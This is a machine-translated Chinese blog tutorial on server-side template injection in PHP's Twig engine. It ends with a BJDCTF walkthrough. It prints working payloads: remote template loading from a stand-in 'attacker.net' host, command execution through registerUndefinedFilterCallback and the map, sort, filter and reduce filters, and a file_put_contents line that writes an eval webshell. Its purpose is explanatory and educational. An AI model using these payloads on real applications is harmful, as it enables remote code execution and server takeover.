当前位置:网站首页>SSTI (template injection) - (1)

SSTI (template injection) - (1)

2022-06-08 06:44:47seven six nine

Preface

What is the template

A template can be understood as a fixed format , Files waiting for you to fill in the information . In this way , The logic can be separated from the view , More easily 、 Clearly and relatively safely write different logic at the front and back ends . As a contrast , A very bad solution is to use string splicing in scripting language html, Then output it uniformly .

This is an example of a template :

<!--login.tpl-->
<html>
    <head>
        <title>{
    {
    title}}</title>
    </head>
    <body>
        <form method="{
    {method}}",action={
    {
    action}}>
            <input type="text" name="user" value="{
    {username}}">
        </form>
        <p>
            This page took {
    {
    microtime(true) - time}} seconds to render.
        </p>
    </body>
</html>

The corresponding back-end code logic can be :

$templateEngine = new TemplateEngine();
$tpl = $templateEngine->loadFile(login.tpl);
$tpl->assign('title','Login');
$tpl->assign('method','post');
$tpl->assign('action','login.php');
$tpl->assign('username',getUserNameFromCookie());
$tpl->assign('time',microtime(true));
$tmp->show();

Basic principle of template injection

If the user enters as 【 Variables in the template Value 】, The template engine usually encodes and escapes user input , It's not easy to cause XSS attack .

<?php
    require_once(dirname(__FILE__).'/../lib/Twig/Autoloader.php');
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    $output = $twig->render("Hello {
    {name}}", array("name" =>$_GET["name"]));  //  Take the user input as the value of the template variable 
    echo $output;
?>

If you enter <script>alert(1)</script> It will output as is , Because it's going on HTML Entity encoding .
But if the user enters as 【 Template content Part of 】, User input will be output as is , For example, the following code
This code is entered &lt;script&gt;alert(1)&lt;/script&gt; Can cause XSS Loophole .

If input Vuln{%23 comment %23}{ {2*8}}, Will execute 2*8 This statement , Output Hello Vuln16. Because after rendering , The template becomes Hello Vuln{# comment #}{ {2\*8}}.

Different templates have different syntax , In general use Detect-Identify-Expoit Utilization process of

Template identification

Common testing tools Tplmap Address : https://github.com/epinna/tplmap
 Insert picture description here

template engine

template engine ( This is especially for Web Developed template engine ) For user interface and business data ( Content ) The result of separation , It can generate documents in a specific format , Use the template engine to generate the front-end html Code , The template engine will provide a set of generation html Code program , Then you just need to get the user's data , Then put it in the rendering function , Then generate the template + Front end of user data html page , Then feed back to the browser , Present to the user .
The template engine will also provide a sandbox mechanism to prevent vulnerabilities , However, Sandbox escape technology can be used to bypass .

SSTI ( Server side template Injection )

Some of the frameworks currently in use , such as python Of flask,php Of tp,java Of spring And so on, they generally adopt mature MVC The pattern of , The user's input first enters Controller controller , Then, according to the request type and the requested instruction, it is sent to the corresponding Model The business model makes business logic judgment , Database access , Finally, return the result to View View layer , The template is rendered to the user .

The cause of the vulnerability is that after the server receives the malicious input of the user , Treat it as... Without any treatment Web Part of the application template content , The template engine is in the process of target compilation and rendering , Executed a statement inserted by the user that can destroy the template , This may lead to the disclosure of sensitive information 、 Code execution 、GetShell Other questions . Its scope of influence mainly depends on the complexity of the template engine .

Wherever templates are used, there may be SSTI The problem of ,SSTI It doesn't belong to any language , Sandbox bypass is not , Sandbox bypassing is only due to a large security vulnerability found by the template engine , Then a protection mechanism designed by the template engine , Modules that are not defined or declared are not allowed , This applies to all template engines .

Template injection and common Web Inject

In the case of injection type vulnerabilities , common Web Injected with :SQL Inject ,XSS Inject ,XPATH Inject ,XML Inject , Code injection , Command injection, etc . The essence of the injection vulnerability is that the server accepts the user's input , Unfiltered or loosely filtered code that splices user input , Therefore, various injections are caused . The following code suffices to illustrate this

// SQL  Inject 
$query = "select * from sometable where id=".$_GET['id'];
mysql_query($query);
-------------  Gorgeous dividing line  -------------
//  Template Injection 
$temp->render("Hello ".$_GET['username']);

PHP

php Common templates :twig,smarty,blade

Twig

Twig It comes from Symfony Template engine for , It is very easy to install and use . It operates a bit like Mustache and liquid.

for instance

<?php
  require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';
  Twig_Autoloader::register(true);
  $twig = new Twig_Environment(new Twig_Loader_String());
  $output = $twig->render("Hello {
    {name}}", array("name" => $_GET["name"]));  //  Take the user input as the value of the template variable 
  echo $output;
?>

Twig Use a loader loader(Twig_Loader_Array) To locate the template , And an environment variable environment(Twig_Environment) To store configuration information .

among ,render() Method loads the template with its first parameter , And render the template through the variable in the second parameter .

Use Twig The template engine renders the page , The template contains { {name}} Variable , The template variable value comes from GET Request parameters $_GET["name"]

Obviously there is nothing wrong with this code , Because the template engine parses... In string constants { {name}} Even if you want to pass name Parameters are passed in a segment JavaScript The code is rendered to the server , Maybe you think it's possible to XSS, However, template engines generally encode and escape the rendered variable values by default , Therefore, it will not cause cross site scripting attacks :
 Insert picture description here

however , If the rendered template content is controlled by the user , It's not the same . Change the code to

<?php
require_once '../Twig-1.35.3/lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {
    $_GET['name']}");  //  Take user input as part of the template content 
echo $output;

The above code is used to build the template , Dynamic splicing $_GET["name"] As the content of the template , Now, if you pass it directly to the server JavaScript Code , User input will be output as is , The test results are obvious :
 Insert picture description here
Compare the above two situations , Simply put, the formation of server-side template injection is ultimately caused by the server trusting the user's input (Web The essence of safety : Never trust user input !). Yes, of course , In the second case , Attackers can not only insert JavaScript Script , It can also carry out further attacks against the template framework , This section only explains the principle , Attack utilization will be described and demonstrated in detail later .

Twig 1.x

The test code is as follows :

index.php

<?php

include __DIR__.'/vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();

$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
echo $twig->render($_GET['name']);
?>

stay Twig 1.x There are three global variables in :
_self: Reference an instance of the current template .
_context: Reference the current context .
_charset: Reference the current character set .

The corresponding code is :

protected $specialVars = [
        '_self' => '$this',
        '_context' => '$context',
        '_charset' => '$this->env->getCharset()',
    ];

The main thing here is to use _self Variable , It will return to the current \Twig\Template example , And provides a point to Twig_Environment Of env attribute , So we can continue to call Twig_Environment Other methods in , So as to carry out SSTI.

For example, the following Payload You can call setCache Method change Twig load PHP Path to file , stay allow_url_include When enabled, we can change the path to achieve remote file inclusion :

{
   {_self.env.setCache("ftp://attacker.net:2121")}}{
   {_self.env.loadTemplate("backdoor")}}

Besides, there are getFilter Method :

public function getFilter($name)
  {
    
    ...
    foreach ($this->filterCallbacks as $callback) {
    
    if (false !== $filter = call_user_func($callback, $name)) {
    
      return $filter;
    }
  }
  return false;
}

public function registerUndefinedFilterCallback($callable)
{
    
  $this->filterCallbacks[] = $callable;
}

We are getFilter The danger function is found in call_user_func. By passing arguments to the function , We can call any PHP function .Payload as follows :

{
   {_self.env.registerUndefinedFilterCallback("exec")}}{
   {_self.env.getFilter("id")}}

 Insert picture description here

But in Twig 2.x And Twig 3.x in the future ,_self The role of has changed , Only the current Instance name string
 Insert picture description here
So the above Payload Only applicable to Twig 1.x .

Twig 2.x / 3.x

The test code is as follows :

index.php

<?php
require_once __DIR__.'/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);

$template = $twig->createTemplate("Hello {
    $_GET['name']}!");

echo $template->render();

here we are Twig 2.x / 3.x In the version ,__self Variable in SSTI Has long lost its function , However, we can use some filters in the new version to achieve the purpose of attack .

Use map filter

stay Twig 3.x in ,map This filter allows the user to pass an arrow function , And apply the arrow function to the elements of the sequence or mapping :

{
    % set people = [
    {
    first: "Bob", last: "Smith"},
    {
    first: "Alice", last: "Dupond"},
] %}

{
    {
     people|map(p => "#{p.first} #{p.last}")|join(', ') }}
// Output: outputs Bob Smith, Alice Dupond


{
    % set people = {
    
    "Bob": "Smith",
    "Alice": "Dupond",
} %}

{
    {
     people|map((last, first) => "#{first} #{last}")|join(', ') }}
// Output: outputs Bob Smith, Alice Dupond

When we use map when :

{
    {
    ["Mark"]|map((arg)=>"Hello #{arg}!")}}

Twig 3.x Will compile it into :

twig_array_map([0 => "Mark"], function ($__arg__) use ($context, $macros) {
     $context["arg"] = 
$__arg__; return ("hello " . ($context["arg"] ?? null))})

This twig_array_map The source code of the function is as follows :

function twig_array_map($array, $arrow)
{
    
    $r = [];
    foreach ($array as $k => $v) {
    
        $r[$k] = $arrow($v, $k);    //  Direct will  $arrow  Execute as a function 
    }

    return $r;
}

From the above code we can see , Incoming $arrow It is directly executed as a function , namely $arrow($v, $k), and $v and $k Namely $array Medium value and key.$array and $arrow It's all under our control , Then we can not pass the arrow function , Directly pass a that can pass in two parameters 、 The name of the dangerous function that can execute the command can realize the command execution . By looking up common command execution functions :

system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string

The first three can be used . Corresponding Payload as follows :

{
    {
    ["id"]|map("system")}}
{
    {
    ["id"]|map("passthru")}}
{
    {
    ["id"]|map("exec")}}    //  No echo 

among ,{ {["id"]|map("system")}} Will be like this :

twig_array_map([0 => "id"], "sysetm")

In the end in twig_array_map function Will execute system('id',0). The execution result is shown in the figure below :

 Insert picture description here
If the above command execution functions are disabled , We can also execute other functions to execute arbitrary code :

//  Write  Webshell
{
    {
    ["phpinfo();"]|map("assert")|join(",")}}
{
    {
    {
    "<?php phpinfo();eval($_POST[whoami])":"/var/www/html/shell.php"}|map("file_put_contents")}}    

according to map The use of ideas , Let's go and find a place with $arrow Parametric , It can be found that the following filters can also be used .

Use sort filter

This sort Filters can be used to sort arrays .

{% for user in users|sort %}
    ...
{% endfor %}

You can pass an arrow function to sort the array :

{
    % set fruits = [
    {
     name: 'Apples', quantity: 5 },
    {
     name: 'Oranges', quantity: 2 },
    {
     name: 'Grapes', quantity: 4 },
] %}

{
    % for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
    {
    {
     fruit }}
{
    % endfor %}

// Output in this order: Oranges, Grapes, Apples

Be similar to map, During template compilation, you will enter twig_sort_filter function , This twig_sort_filter The source code of the function is as follows :

function twig_sort_filter($array, $arrow = null)
{
    
    if ($array instanceof \Traversable) {
    
        $array = iterator_to_array($array);
    } elseif (!\is_array($array)) {
    
        throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
    }

    if (null !== $arrow) {
    
        uasort($array, $arrow);    //  Directly be  uasort  call  
    } else {
    
        asort($array);
    }

    return $array;
}

You can see from the source code ,$array and $arrow Directly be uasort Function call . as everyone knows uasort Function can use user-defined comparison function to sort the key values of elements in the array , If we customize a dangerous function , Will cause code execution or command execution :

php > $arr = ["id",0];
php > usort($arr,"system");
uid=0(root) gid=0(root) groups=0(root)
php >

Knowing how to do this, we can construct Payload 了 :

{
   {["id", 0]|sort("system")}}
{
   {["id", 0]|sort("passthru")}}
{
   {["id", 0]|sort("exec")}}    //  No echo 

 Insert picture description here

Use filter filter

This filter Filters use arrow functions to filter elements in a sequence or map . The arrow function is used to receive the values of a sequence or map :

{% set lists = [34, 36, 38, 40, 42] %}
{
   { lists|filter(v => v > 38)|join(', ') }}

// Output: 40, 42

Be similar to map, During template compilation, you will enter twig_array_filter function , This twig_array_filter The source code of the function is as follows :

function twig_array_filter($array, $arrow)
{
    
    if (\is_array($array)) {
    
        return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array  and  $arrow  Directly be  array_filter  Function call 
    }

    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}

You can see from the source code ,$array and $arrow Directly be array_filter Function call . array_filter Function can use callback function to filter elements in array , If we customize a dangerous function , Will cause code execution or command execution :

php > $arr = ["id"];
php > array_filter($arr,"system");
uid=0(root) gid=0(root) groups=0(root)
php >

Here are a few Payload:

{
    {
    ["id"]|filter("system")}}
{
    {
    ["id"]|filter("passthru")}}
{
    {
    ["id"]|filter("exec")}}    //  No echo 

Use reduce filter

This reduce Filters use arrow functions to iteratively reduce multiple elements in a sequence or map to a single value . The arrow function receives the return value of the last iteration and the current value of the sequence or map :

{% set numbers = [1, 2, 3] %}
{
   { numbers|reduce((carry, v) => carry + v) }}
// Output: 6

Be similar to map, During template compilation, you will enter twig_array_reduce function , This twig_array_reduce The source code of the function is as follows :

function twig_array_reduce($array, $arrow, $initial = null)
{
    
    if (!\is_array($array)) {
    
        $array = iterator_to_array($array);
    }

    return array_reduce($array, $arrow, $initial);    // $array, $arrow  and  $initial  Directly be  array_reduce  Function call 
}

You can see from the source code ,$array and $arrow Directly be array_filter Function call . array_reduce Function can send the values in the array to user-defined functions , And return a string . If we customize a dangerous function , Will cause code execution or command execution .

Give directly Payload:

{
    {
    [0, 0]|reduce("system", "id")}}
{
    {
    [0, 0]|reduce("passthru", "id")}}
{
    {
    [0, 0]|reduce("exec", "id")}}    //  No echo 

 Insert picture description here

Twig Template injection detection

The formation of template injection has been explained above , Now let's talk about the methods of detecting and scanning . If the server takes the user's input as part of the template , Then when the page is rendered, the content input by the user must be template compiled and parsed, and finally output .

Borrow the code used above :

<?php
require_once '../Twig-1.35.3/lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {
    $_GET['name']}");  //  Take user input as part of the template content 
echo $output;

stay Twig In the template engine ,{ { var }} In addition to the variables that can be output and passed , You can also execute some basic expressions and take the result as the value of the template variable , For example, here the user enters name={ {2*10}} , The content of the template spliced at the server is :Hello { {2*10}}

Twig The template engine will calculate when compiling the template { {2*10}} The expression in 2*10 , It will return the value 20 Output as the value of the template variable , Here's the picture :
 Insert picture description here
Now change the test data , Insert some normal characters and Twig The default annotator of the template engine , structure Payload by :

IsVuln{# comment #}{
   {2*8}}OK

The template to be compiled by the actual server is constructed as :

Hello IsVuln{# comment #}{
   {2*8}}OK

Here is a brief analysis of , because {# comment #} As Twig The default annotation form of the template engine , Therefore, it will not be displayed when the front-end output , and { {2*8}} As a template variable, it will eventually return 16 Display as its value , So the front end will eventually return content Hello IsVuln16OK , Here's the picture :
 Insert picture description here
Through the above two simple examples , You can get SSTI General process of scanning and detection ( Here we use Twig For example )
Same as conventional SQL Injection detection ,XSS The test is the same , The detection of template injection vulnerability is also to carry specific information in the passed parameters Payload And judge according to the returned content . Each template engine has its own Syntax ,Payload The construction of needs to formulate different scanning rules for various template engines , Just as SQL There are different database types in injection .
Simply speaking , It is to change the request parameters so that they can host Payload, Detect the hosted content through the content returned by page rendering Payload Whether it has been compiled and parsed , If there is analysis, it can be determined that it contains Payload Corresponding template engine injection , Otherwise, it doesn't exist SSTI.

CTF Example

Do two questions to see

[BJDCTF2020]Cookie is so stable

The range is BUUCTF Of
After testing , Found in Cookie Exist in SSTI Loophole :

 Insert picture description here

 Insert picture description here  Insert picture description here

It is found that the target environment uses Twig Templates , The version is Twig 1.x, According to the topic tips cookie
Directly in cookie Place on Payload Just call :

{
   {_self.env.registerUndefinedFilterCallback("exec")}}{
   {_self.env.getFilter("cat /flag")}}

 Insert picture description here


原网站

版权声明
本文为[seven six nine]所创,转载请带上原文链接,感谢
https://chowdera.com/2022/159/202206080634551629.html

随机推荐